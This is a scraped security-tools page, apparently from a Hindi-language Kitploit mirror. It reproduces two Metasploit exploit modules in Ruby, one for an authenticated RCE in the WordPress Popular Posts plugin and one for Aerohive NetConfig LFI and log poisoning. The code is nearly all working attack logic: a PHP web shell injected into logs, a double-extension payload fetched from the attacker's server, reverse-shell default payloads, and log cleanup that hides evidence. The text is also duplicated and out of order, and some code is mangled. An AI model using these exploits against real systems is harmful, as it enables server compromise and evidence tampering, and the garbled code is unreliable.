हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!
nate158g-m-w-n-l-p-d-a-o-e — ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
nate158g-m-w-n-l-p-d-a-o-e### इस मॉड्यूल के लिए Metasploit आवश्यक है: https://metasploit.com/download# वर्तमान स्रोत: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ इस एक्सप्लॉइट के लिए Metasploit के पास एक FQDN होना चाहिए और पोर्ट 80, 443, या 8080 पर पेलोड वेब सर्वर चलाने की क्षमता होनी चाहिए। FQDN को किसी आरक्षित पते (192/172/127/10) पर हल नहीं करना चाहिए। सर्वर को GET अनुरोध प्राप्त करने से पहले, पेलोड के लिए HEAD अनुरोध का भी जवाब देना होगा। यह एक्सप्लॉइट Wordpress प्लगइन Popular Posts <= 5.3.2 में एक प्रमाणित अनुचित इनपुट सत्यापन का लाभ उठाता है। एक्सप्लॉइट श्रृंखला काफी जटिल है। प्रमाणीकरण आवश्यक है और सर्वर पर PHP के लिए 'gd' आवश्यक है। फिर Popular Post प्लगइन को विजेट में पोस्ट इमेज के लिए एक मनमाना URL की अनुमति देने के लिए पुन: कॉन्फ़िगर किया जाता है। एक पोस्ट बनाई जाती है, फिर पोस्ट को पिछले #1 से 5 अधिक लोकप्रिय बनाने के लिए अनुरोध भेजे जाते हैं। एक बार पोस्ट शीर्ष 5 में पहुंच जाती है, और 60 सेकंड (हम 90 प्रतीक्षा करते हैं) सर्वर कैश रीफ्रेश के बाद, होमपेज विजेट लोड होता है जो प्लगइन को हमारे सर्वर से पेलोड डाउनलोड करने के लिए ट्रिगर करता है। हमारे पेलोड में 'GIF' हेडर है, और एक डबल एक्सटेंशन ('.gif.php') है जो मनमाना PHP कोड निष्पादित करने की अनुमति देता है। }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 मिनट, साइट पर अन्य आगंतुक ट्रिगर कर सकते हैं }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'खाते का उपयोगकर्ता नाम', 'admin']), OptString.new('PASSWORD', [true, 'खाते का पासवर्ड', 'admin']), OptString.new('TARGETURI', [true, 'Wordpress सर्वर का आधार पथ', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'metasploit सर्वर का FQDN। किसी आरक्षित पते (192/10/127/172) पर हल नहीं होना चाहिए', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'सुनने के लिए स्थानीय पोर्ट।', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress का पता नहीं चला।') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts एक कमजोर संस्करण नहीं है') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # यदि सर्वर द्वारा फ़ाइल लिखने में समय विलंब हो तो इसे 5 बार लूप करें (1..5).each do |i| print_status("शेल ट्रिगर कर रहा है: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} 10 सेकंड में। प्रयास #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('पेलोड खोजने में विफल, हो सकता है सही ढंग से अपलोड न हुआ हो।') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('प्रारंभिक HEAD अनुरोध का जवाब दे रहा है (चेक 1 पास)') # https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests के अनुसार हमारे पास एक मान्य Content-Length होना चाहिए # हालांकि यह गतिशील रूप से गणना की जाती है, क्योंकि इस प्रतिक्रिया पर इसे 0 पर अधिलेखित कर दिया जाता है। यहां नोट्स के रूप में छोड़ रहे हैं। # सही आकार बनाने के लिए बॉडी में सही पेलोड भेजना नहीं चाहता था क्योंकि इससे पकड़े जाने की संभावना अधिक होती है return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('GET अनुरोध का जवाब दे रहा है (चेक 2 पास)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # किसी अजीब कारण से हमें PHP/WP को अपने कार्यों को पूरा करने के लिए मैन्युअल रूप से कनेक्शन बंद करना होगा Rex.sleep(2) # WP के लिए सभी आवश्यक जांच पूरी करने की प्रतीक्षा करें trigger_payload(on_disk_payload_name) end print_status("अप्रत्याशित #{request.method} अनुरोध प्राप्त हुआ") end def check_gd_installed(cookie) vprint_status('जाँच रहा है कि gd स्थापित है या नहीं') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('wpp_admin टोकन प्राप्त कर रहा है') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('छवियों के लिए लोकप्रिय पोस्ट सेटिंग्स अपडेट कर रहा है') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'सेटिंग्स सहेजने/बदलने में असमर्थ') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('छवि कैश साफ़ कर रहा है') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # इससे ajax_nonce सक्षम होना चाहिए, यह हमें रेफ़रर पृष्ठ पर 302 वापस भेज देगा ताकि हम इसे प्राप्त कर सकें। res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('नई पोस्ट बना रहा है') # पोस्ट आईडी और नॉन्स प्राप्त करें res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "(?<wp_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('ajax nonce फ़ील्ड गायब है, पुनः सक्षम करने का प्रयास कर रहा है। यदि यह विफल होता है, तो आपको इसे सक्षम करने के लिए इंटरफ़ेस बदलने की आवश्यकता हो सकती है। देखें https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. या जांचें (पोस्ट लिखते समय) विकल्प > प्राथमिकताएं > पैनल > अतिरिक्त > कस्टम फ़ील्ड।') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"])/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("बनाई गई पोस्ट: #{post_id}") end fail_with(Failure::UnexpectedReply, 'नॉन्स और/या नई पोस्ट आईडी प्राप्त करने में असमर्थ') unless ajax_nonce && wp_nonce && post_id # नई पोस्ट प्रकाशित करें vprint_status("पोस्ट #{post_id} में सामग्री लिख रहा है") # यह EDB POC से बहुत अलग है, मुझे उनके उदाहरण के साथ होम पेज पर 200 मिलता रहा, इसलिए यह UI द्वारा प्रस्तुत किए जाने के आधार पर है res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'पोस्ट प्रकाशित करने में विफल') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("पुनर्निर्देशन के लिए दुर्भावनापूर्ण मेटाडेटा जोड़ रहा है #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'मेटाडेटा अपडेट करने में विफल') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # आवश्यकतानुसार पुनर्निर्देशित करें res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 || res.code == 301 print_status("#{post_count} दृश्य भेज रहा है #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # मान लें>/<और उसके बाद कोई भी> (1..post_count).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'सफल शोषण के लिए SRVHOST को एक IP पते पर सेट किया जाना चाहिए (0.0.0.0 अमान्य है)') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('अमान्य लॉगिन, क्रेडेंशियल जांचें') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("पेलोड फ़ाइल नाम: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd सर्वर पर स्थापित नहीं है, शोषण योग्य नहीं') unless check_gd_installed(cookie) post_count = get_top_posts # हमें अब कुकी पास करने की आवश्यकता नहीं है क्योंकि यह अब http क्लाइंट में सहेजा गया है token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('इमेज पेलोड के लिए अनुरोध संभालने के लिए वेब सर्वर शुरू कर रहा है') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('सर्वर द्वारा कैश रीफ्रेश के लिए 90 सेकंड प्रतीक्षा कर रहा है') Rex.sleep(90) print_status('होमपेज पर जाकर और विजेट लोड करके शेल को लोड करने का प्रयास कर रहा है') res = get_widget print_good('हम शीर्ष पर पहुंच गए!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # इस बिंदु पर, हम बाकी काम करने के लिए अपने वेब सर्वर से अनुरोध प्राप्त करने पर निर्भर हैं endend### इस मॉड्यूल के लिए Metasploit आवश्यक है: वर्तमान स्रोत: MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ यह मॉड्यूल Aerohive NetConfig, संस्करण 10.0r8a build-242466 और पुराने में LFI और लॉग पॉइज़निंग कमजोरियों (CVE-2020-16152) का शोषण करता है ताकि रूट उपयोगकर्ता के रूप में अप्रमाणित रिमोट कोड निष्पादन प्राप्त किया जा सके। NetConfig Aerohive/Extreme Networks HiveOS प्रशासनिक वेब इंटरफ़ेस है। कमजोर संस्करण LFI की अनुमति देते हैं क्योंकि वे PHP 5 के एक संस्करण पर निर्भर करते हैं जो स्ट्रिंग ट्रंकेशन हमलों के लिए कमजोर है। यह मॉड्यूल RCE प्राप्त करने के लिए इस मुद्दे का लॉग पॉइज़निंग के साथ उपयोग करता है। सफल शोषण पर, Aerohive NetConfig एप्लिकेशन तब तक हैंग रहेगा जब तक स्पॉन किया गया शेल खुला रहता है। सत्र बंद करने से ऐप फिर से प्रतिक्रियाशील हो जाना चाहिए। मॉड्यूल लॉग को साफ करने के लिए एक स्वचालित सफाई विकल्प प्रदान करता है। हालांकि, यह विकल्प डिफ़ॉल्ट रूप से अक्षम है क्योंकि /tmp/messages लॉग में कोई भी संशोधन, sed के माध्यम से भी, लक्ष्य को (अस्थायी रूप से) अशोषणीय बना सकता है। यह स्थिति एक घंटे से अधिक समय तक रह सकती है। इस मॉड्यूल का Aerohive NetConfig संस्करण 8.2r4 और 10.0r7a के खिलाफ सफलतापूर्वक परीक्षण किया गया है। }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', ''] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # यह इस लक्ष्य के लिए काम करने वाला एकमात्र पेलोड हो सकता है' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'Aerohive NetConfig का आधार पथ', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'शेल स्पॉन करने पर /tmp/messages लॉग को स्वचालित रूप से साफ करें। चेतावनी! यह लक्ष्य को अशोषणीय बना सकता है', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('कनेक्शन विफल।') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('लक्ष्य Aerohive NetConfig एप्लिकेशन नहीं है।') end version = res.body.scan(/action="login.php5?version=(.?)"/)&.flatten&.first unless version return CheckCode::Detected('Aerohive NetConfig संस्करण निर्धारित नहीं कर सका।') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("लक्ष्य Aerohive NetConfig संस्करण #{version} है") else print_warning('यह ध्यान दिया जाना चाहिए कि यह स्पष्ट नहीं है कि यह समस्या कब/यदि पैच की गई थी, इसलिए 10.0r8a के बाद के संस्करण अभी भी कमजोर हो सकते हैं।') return CheckCode::Safe("लक्ष्य Aerohive NetConfig संस्करण #{version} है") end rescue StandardError => e return CheckCode::Unknown("मान्य Aerohive NetConfig संस्करण प्राप्त करने में विफल: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # /tmp/messages को जहर दें print_status('/tmp/messages पर लॉग को जहर देने का प्रयास कर रहा है...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, '/tmp/messages पर लॉग को जहर देने का प्रयास करते समय कनेक्शन विफल') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, '/tmp/messages पर लॉक को जहर देने का प्रयास करते समय अप्रत्याशित प्रतिक्रिया प्राप्त हुई') end print_status('सर्वर ने अपेक्षित रूप से प्रतिक्रिया दी। जारी है...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('/tmp/messages पर लॉग फ़ाइल को साफ करने का प्रयास कर रहा है...') print_warning('कृपया ध्यान दें कि इससे लक्ष्य (अस्थायी रूप से) अशोषणीय हो जाएगा। यह स्थिति एक घंटे से अधिक समय तक रह सकती है।') begin # हमें /tmp/messages से PHP सिस्टम कॉल वाली पंक्ति को हटाने की आवश्यकता है # PHP syscall में विशेष वर्ण PHP syscall को एक नियमित उपयोगकर्ता नाम से बदलने के लिए sed का उपयोग करना लगभग असंभव बना देते हैं। # इसके बजाय, आइए सही पंक्ति सुनिश्चित करने के लिए कुछ grep कमांड को स्ट्रिंग करके विशेष वर्णों से बचें और फिर उस पूरी पंक्ति को हटा दें # तुरंत फ़ाइल को संपादित करने के लिए sed का उपयोग करने और एक नई फ़ाइल बनाने और उसके साथ /tmp/messages को अधिलेखित करने के लिए grep का उपयोग करने का प्रभाव समान है: # दोनों मामलों में, ऐप /tmp/messages पर लिखना बंद कर देगा (एक घंटे से अधिक हो सकता है), जिससे उस अवधि के दौरान लक्ष्य अशोषणीय हो जाएगा। line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # सफाई की प्रतीक्षा करें Rex.sleep 5 # /tmp/messages में PHP सिस्टम कॉल की जांच करें messages_contents = session.fs.file.open('/tmp/messages').read.to_s # यहां =~ का उपयोग करने से अप्रत्याशित परिणाम मिले, इसलिए इसके बजाय include? का उपयोग किया गया है unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # /tmp/messages में PHP सिस्टम कॉल की जांच करें poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # यहां =~ का उपयोग करने से अप्रत्याशित परिणाम मिले, इसलिए इसके बजाय include? का उपयोग किया गया है unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("सफाई के दौरान त्रुटि: #{e.message}") ensure super end unless log_cleaned print_warning("/tmp/messages में PHP सिस्टम कॉल '#{@poison_cmd}' को बदलने में असमर्थ") end end if log_cleaned print_good('/tmp/messages से PHP syscall वाली पंक्ति को हटाकर लॉग को सफलतापूर्वक साफ किया गया।') else print_warning("लॉग पॉइज़निंग साक्ष्य को मिटाने के लिए /tmp/messages में उस पंक्ति को मैन्युअल रूप से संपादित/हटाने की आवश्यकता होगी जिसमें जहर कमांड है:\n\t#{@poison_cmd}") print_warning('कृपया ध्यान दें कि /tmp/messages में कोई भी संशोधन, sed के माध्यम से भी, लक्ष्य को (अस्थायी रूप से) अशोषणीय बना देगा। यह स्थिति एक घंटे से अधिक समय तक रह सकती है।') print_warning('/tmp/messages को हटाने या फ़ाइल को साफ करने से एप्लिकेशन टूट सकता है।') end end def execute_command(cmd, _opts = {}) print_status('पेलोड निष्पादित करने का प्रयास कर रहा है') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # पथ छोटा करने के माध्यम से LFI ट्रिगर करें @shell_cmd_name => cmd } }, 0) print_warning('सफल शोषण की स्थिति में, Aerohive NetConfig वेब एप्लिकेशन तब तक हैंग रहेगा जब तक स्पॉन किया गया शेल खुला रहता है।') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('पेलोड निष्पादित कर रहा है') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # बस भेजें, प्रतिक्रिया की परवाह न करें fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 200 res = send_request_cgi( # यह URL EDB पर POC से भिन्न है, और ब्राउज़र जो करता है उसके अनुसार मॉडल किया गया है 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { 'wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'साइट प्रतिक्रिया नहीं दे रही') unless res fail_with(Failure::UnexpectedReply, 'पृष्ठ पुनर्प्राप्त करने में विफल') unless res.code == 201 end 